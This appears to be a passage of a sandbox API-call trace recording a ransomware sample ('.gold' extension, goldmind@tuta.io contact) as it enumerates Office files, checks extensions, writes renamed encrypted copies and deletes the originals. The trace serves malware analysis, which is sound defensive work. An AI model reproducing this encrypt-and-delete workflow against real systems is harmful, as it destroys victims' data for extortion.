[0112.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL") returned 54 [0112.117] lstrlenW (lpString=".zip") returned 4 [0112.117] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0112.117] lstrlenW (lpString=".rar") returned 4 [0112.117] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0112.117] lstrlenW (lpString=".bz2") returned 4 [0112.117] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0112.118] lstrlenW (lpString=".7z") returned 3 [0112.118] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0112.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL") returned 54 [0112.118] lstrlenW (lpString=".dbf") returned 4 [0112.118] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0112.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL") returned 54 [0112.118] lstrlenW (lpString=".1cd") returned 4 [0112.118] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0112.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL") returned 54 [0112.118] lstrlenW (lpString=".jpg") returned 4 [0112.118] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0112.118] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0112.118] lstrlenW (lpString="EXTRACT.DLL") returned 11 [0112.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\extract.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0112.119] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=340904) returned 1 [0112.119] CloseHandle (hObject=0x3e0) returned 1 [0112.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\extract.dll")) returned 0x20 [0112.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\extract.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0112.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\extract.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0112.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL") returned 54 [0112.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL") returned 54 [0112.120] lstrlenW (lpString=".doc") returned 4 [0112.120] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0112.120] lstrlenW (lpString=".docx") returned 5 [0112.120] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0112.120] lstrlenW (lpString=".pdf") returned 4 [0112.120] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0112.120] lstrlenW (lpString=".xls") returned 4 [0112.120] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0112.120] lstrlenW (lpString=".xlsx") returned 5 [0112.120] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0112.120] lstrlenW (lpString=".ppt") returned 4 [0112.120] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0112.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL") returned 54 [0112.120] lstrlenW (lpString=".zip") returned 4 [0112.120] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0112.120] lstrlenW (lpString=".rar") returned 4 [0112.120] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0112.120] lstrlenW (lpString=".bz2") returned 4 [0112.120] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0112.120] lstrlenW (lpString=".7z") returned 3 [0112.120] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0112.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL") returned 54 [0112.120] lstrlenW (lpString=".dbf") returned 4 [0112.120] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0112.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL") returned 54 [0112.120] lstrlenW (lpString=".1cd") returned 4 [0112.120] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0112.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL") returned 54 [0112.120] lstrlenW (lpString=".jpg") returned 4 [0112.120] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0112.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL") returned 54 [0112.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL") returned 54 [0112.120] lstrlenW (lpString=".doc") returned 4 [0112.120] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0112.120] lstrlenW (lpString=".docx") returned 5 [0112.121] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0112.121] lstrlenW (lpString=".pdf") returned 4 [0112.121] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0112.121] lstrlenW (lpString=".xls") returned 4 [0112.121] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0112.121] lstrlenW (lpString=".xlsx") returned 5 [0112.121] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0112.121] lstrlenW (lpString=".ppt") returned 4 [0112.121] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0112.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL") returned 54 [0112.121] lstrlenW (lpString=".zip") returned 4 [0112.121] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0112.121] lstrlenW (lpString=".rar") returned 4 [0112.121] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0112.121] lstrlenW (lpString=".bz2") returned 4 [0112.121] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0112.121] lstrlenW (lpString=".7z") returned 3 [0112.121] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0112.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL") returned 54 [0112.121] lstrlenW (lpString=".dbf") returned 4 [0112.121] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0112.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL") returned 54 [0112.121] lstrlenW (lpString=".1cd") returned 4 [0112.121] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0112.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL") returned 54 [0112.121] lstrlenW (lpString=".jpg") returned 4 [0112.121] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0112.121] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0112.121] lstrlenW (lpString="FACILITY.DLL") returned 12 [0112.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\facility.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0112.123] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1621864) returned 1 [0112.123] CloseHandle (hObject=0x3e0) returned 1 [0112.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\facility.dll")) returned 0x20 [0112.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\facility.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0112.124] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\facility.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\facility.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0112.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55 [0112.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55 [0112.124] lstrlenW (lpString=".doc") returned 4 [0112.124] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0112.124] lstrlenW (lpString=".docx") returned 5 [0112.124] lstrcmpiW (lpString1=".docx", lpString2="Y.DLL") returned -1 [0112.124] lstrlenW (lpString=".pdf") returned 4 [0112.124] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0112.124] lstrlenW (lpString=".xls") returned 4 [0112.124] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0112.124] lstrlenW (lpString=".xlsx") returned 5 [0112.124] lstrcmpiW (lpString1=".xlsx", lpString2="Y.DLL") returned -1 [0112.124] lstrlenW (lpString=".ppt") returned 4 [0112.124] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0112.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55 [0112.124] lstrlenW (lpString=".zip") returned 4 [0112.124] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0112.124] lstrlenW (lpString=".rar") returned 4 [0112.124] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0112.124] lstrlenW (lpString=".bz2") returned 4 [0112.124] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0112.124] lstrlenW (lpString=".7z") returned 3 [0112.124] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0112.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55 [0112.124] lstrlenW (lpString=".dbf") returned 4 [0112.124] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0112.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55 [0112.124] lstrlenW (lpString=".1cd") returned 4 [0112.124] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0112.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55 [0112.124] lstrlenW (lpString=".jpg") returned 4 [0112.124] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0112.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55 [0112.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55 [0112.124] lstrlenW (lpString=".doc") returned 4 [0112.124] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0112.124] lstrlenW (lpString=".docx") returned 5 [0112.124] lstrcmpiW (lpString1=".docx", lpString2="Y.DLL") returned -1 [0112.124] lstrlenW (lpString=".pdf") returned 4 [0112.124] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0112.124] lstrlenW (lpString=".xls") returned 4 [0112.124] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0112.125] lstrlenW (lpString=".xlsx") returned 5 [0112.125] lstrcmpiW (lpString1=".xlsx", lpString2="Y.DLL") returned -1 [0112.125] lstrlenW (lpString=".ppt") returned 4 [0112.125] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0112.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55 [0112.125] lstrlenW (lpString=".zip") returned 4 [0112.125] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0112.125] lstrlenW (lpString=".rar") returned 4 [0112.125] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0112.125] lstrlenW (lpString=".bz2") returned 4 [0112.125] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0112.125] lstrlenW (lpString=".7z") returned 3 [0112.125] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0112.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55 [0112.125] lstrlenW (lpString=".dbf") returned 4 [0112.125] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0112.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55 [0112.125] lstrlenW (lpString=".1cd") returned 4 [0112.125] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0112.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FACILITY.DLL") returned 55 [0112.125] lstrlenW (lpString=".jpg") returned 4 [0112.125] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0112.125] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0112.125] lstrlenW (lpString="FORM.DLL") returned 8 [0112.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\form.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0112.126] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=239488) returned 1 [0112.126] CloseHandle (hObject=0x3e0) returned 1 [0112.127] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\form.dll")) returned 0x20 [0112.127] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\form.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0112.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\form.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0112.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL") returned 51 [0112.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL") returned 51 [0112.127] lstrlenW (lpString=".doc") returned 4 [0112.127] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0112.127] lstrlenW (lpString=".docx") returned 5 [0112.127] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1 [0112.127] lstrlenW (lpString=".pdf") returned 4 [0112.127] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0112.127] lstrlenW (lpString=".xls") returned 4 [0112.127] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0112.127] lstrlenW (lpString=".xlsx") returned 5 [0112.127] lstrcmpiW (lpString1=".xlsx", lpString2="M.DLL") returned -1 [0112.127] lstrlenW (lpString=".ppt") returned 4 [0112.127] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0112.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL") returned 51 [0112.127] lstrlenW (lpString=".zip") returned 4 [0112.127] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0112.127] lstrlenW (lpString=".rar") returned 4 [0112.127] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0112.127] lstrlenW (lpString=".bz2") returned 4 [0112.127] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0112.127] lstrlenW (lpString=".7z") returned 3 [0112.127] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0112.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL") returned 51 [0112.127] lstrlenW (lpString=".dbf") returned 4 [0112.127] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0112.130] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.130] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activitl.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0112.616] GetLastError () returned 0x0 [0112.616] ReadFile (in: hFile=0x3e0, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x436, lpOverlapped=0x0) returned 1 [0112.688] WriteFile (in: hFile=0x3bc, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x440, lpOverlapped=0x0) returned 1 [0112.689] ReadFile (in: hFile=0x3e0, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0112.689] WriteFile (in: hFile=0x3bc, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0112.689] SetEndOfFile (hFile=0x3bc) returned 1 [0112.690] CloseHandle (hObject=0x3bc) returned 1 [0112.690] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.690] SetEndOfFile (hFile=0x3e0) returned 1 [0112.707] CloseHandle (hObject=0x3e0) returned 1 [0112.707] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0112.711] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activitl.ico")) returned 1 [0112.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66 [0112.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66 [0112.713] lstrlenW (lpString=".doc") returned 4 [0112.714] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0112.714] lstrlenW (lpString=".docx") returned 5 [0112.714] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0112.714] lstrlenW (lpString=".pdf") returned 4 [0112.714] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0112.714] lstrlenW (lpString=".xls") returned 4 [0112.714] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0112.714] lstrlenW (lpString=".xlsx") returned 5 [0112.714] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0112.714] lstrlenW (lpString=".ppt") returned 4 [0112.714] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0112.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66 [0112.714] lstrlenW (lpString=".zip") returned 4 [0112.714] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0112.714] lstrlenW (lpString=".rar") returned 4 [0112.714] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0112.714] lstrlenW (lpString=".bz2") returned 4 [0112.714] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0112.714] lstrlenW (lpString=".7z") returned 3 [0112.714] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0112.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66 [0112.714] lstrlenW (lpString=".dbf") returned 4 [0112.714] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0112.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66 [0112.714] lstrlenW (lpString=".1cd") returned 4 [0112.714] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0112.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66 [0112.714] lstrlenW (lpString=".jpg") returned 4 [0112.714] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0112.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66 [0112.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66 [0112.714] lstrlenW (lpString=".doc") returned 4 [0112.714] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0112.714] lstrlenW (lpString=".docx") returned 5 [0112.714] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0112.714] lstrlenW (lpString=".pdf") returned 4 [0112.714] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0112.714] lstrlenW (lpString=".xls") returned 4 [0112.714] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0112.714] lstrlenW (lpString=".xlsx") returned 5 [0112.714] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0112.715] lstrlenW (lpString=".ppt") returned 4 [0112.715] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0112.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66 [0112.715] lstrlenW (lpString=".zip") returned 4 [0112.715] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0112.715] lstrlenW (lpString=".rar") returned 4 [0112.715] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0112.715] lstrlenW (lpString=".bz2") returned 4 [0112.715] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0112.715] lstrlenW (lpString=".7z") returned 3 [0112.715] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0112.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66 [0112.715] lstrlenW (lpString=".dbf") returned 4 [0112.715] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0112.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66 [0112.715] lstrlenW (lpString=".1cd") returned 4 [0112.715] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0112.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO") returned 66 [0112.715] lstrlenW (lpString=".jpg") returned 4 [0112.715] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0112.715] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0112.715] lstrlenW (lpString="APPTL.ICO") returned 9 [0112.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\apptl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0112.716] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1078) returned 1 [0112.716] CloseHandle (hObject=0x3ec) returned 1 [0112.716] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\apptl.ico")) returned 0x20 [0112.716] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\apptl.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0112.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\apptl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0112.717] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.717] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\apptl.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0112.717] GetLastError () returned 0x0 [0112.717] ReadFile (in: hFile=0x3ec, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x436, lpOverlapped=0x0) returned 1 [0112.719] WriteFile (in: hFile=0x394, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x440, lpOverlapped=0x0) returned 1 [0112.720] ReadFile (in: hFile=0x3ec, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0112.720] WriteFile (in: hFile=0x394, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0112.720] SetEndOfFile (hFile=0x394) returned 1 [0112.720] CloseHandle (hObject=0x394) returned 1 [0112.720] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.720] SetEndOfFile (hFile=0x3ec) returned 1 [0112.721] CloseHandle (hObject=0x3ec) returned 1 [0112.722] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 